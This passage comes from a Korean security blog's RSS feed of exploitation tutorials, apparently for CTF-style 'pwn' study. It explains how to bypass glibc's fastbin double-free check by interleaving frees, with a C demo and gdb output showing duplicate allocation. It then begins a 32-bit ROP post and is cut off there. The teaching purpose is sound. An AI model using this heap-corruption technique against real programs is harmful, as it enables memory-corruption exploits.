#9cdcfe;&quot;&gt;have_lock&lt;/span&gt;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__builtin_expect&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old_idx&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;idx&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;errstr&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;invalid&amp;nbsp;fastbin&amp;nbsp;entry&amp;nbsp;(free)&quot;&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;goto&lt;/span&gt;&amp;nbsp;errout;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/malloc/malloc.c&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;old와 p가 같으면 double free로 간주하고 errout으로 점프한다. old는 fastbin의 첫 번째 원소를 나타내기 때문에, 같은 chunk를 연속해서 free 하는 경우에만 에러가 발생한다. 만약 chunk1과 chunk2를 free 한 뒤에 chunk1을 다시 free 한다면, *fb는 chunk2를 나타내기 때문에 해당 조건을 간단하게 우회할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;while의 조건식은 race condition을 막기 위한 것으로, single thread라면 while (0) 과 동일한 효과를 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Example&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;malloc으로 같은 크기의 chunk를 2개 할당받은 뒤, 첫 번째 chunk를 두 번 free하고 이후 같은 크기로 세 번 malloc을 실행해 chunk를 할당받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;malloc.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;chunks&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;세 번의 free가 끝난 시점에서 main_arena의 상태를 확인해 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602000&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x602020&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x602000&amp;nbsp;(overlap&amp;nbsp;chunk&amp;nbsp;with&amp;nbsp;&lt;span style=&quot;color: #06989a;&quot;&gt;0x602000(freed)&lt;/span&gt;&amp;nbsp;)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602040&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x20fc0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0x20 크기의 fastbin에 0x602000이 두 번 들어가있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이어서 malloc을 세 번 진행하면, chunk[0]과 chunk[2]에 같은 주소값이 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;chunks[0]&lt;br /&gt;$1&amp;nbsp;=&amp;nbsp;(void&amp;nbsp;*)&amp;nbsp;0x602010&lt;br /&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;chunks[2]&lt;br /&gt;$2&amp;nbsp;=&amp;nbsp;(void&amp;nbsp;*)&amp;nbsp;0x602010&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Pwn/Techniques</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/57</guid>
      <comments>https://mineta.tistory.com/57#entry57comment</comments>
      <pubDate>Thu, 25 Jun 2020 22:58:05 +0900</pubDate>
    </item>
    <item>
      <title>[Linux/x86] Return Oriented Programming (ROP) - x86 32bit</title>
      <link>https://mineta.tistory.com/148</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 &lt;a href=&quot;https://mineta.tistory.com/51&quot;&gt;Return Oriented Programming (ROP)&lt;/a&gt; 에서 이어지는 글입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 컴파일 command line: gcc test.c -o test -m32 -Wl,-z,relro -no-pie -fno-pie -fno-stack-protector -mmanual-endbr -O0 -ggdb&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Last update: 6/25/2020&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;cdecl&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;x86에서 함수는 일반적으로 cdecl 호출 규약을 따른다. 각 인자는 push 명령어로 stack에 저장되며, caller가 stack을 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음 예시를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function1&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function2&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;y&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function3&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;y&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;z&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function4&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;y&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;z&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;w&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function1&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function2&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x11&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x12&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function3&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x21&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x22&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x23&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function4&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x31&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x32&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x33&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x34&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;pd&amp;nbsp;main&lt;br /&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;for&amp;nbsp;function&amp;nbsp;main:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0804919e&amp;nbsp;&amp;lt;+0&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0804919f&amp;nbsp;&amp;lt;+1&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491a1&amp;nbsp;&amp;lt;+3&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491a3&amp;nbsp;&amp;lt;+5&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4e9a06;&quot;&gt;call&amp;nbsp;&amp;nbsp;&amp;nbsp;0x8049176&amp;nbsp;&amp;lt;function1&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491a8&amp;nbsp;&amp;lt;+10&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp,0x4&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491ab&amp;nbsp;&amp;lt;+13&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x12&lt;br 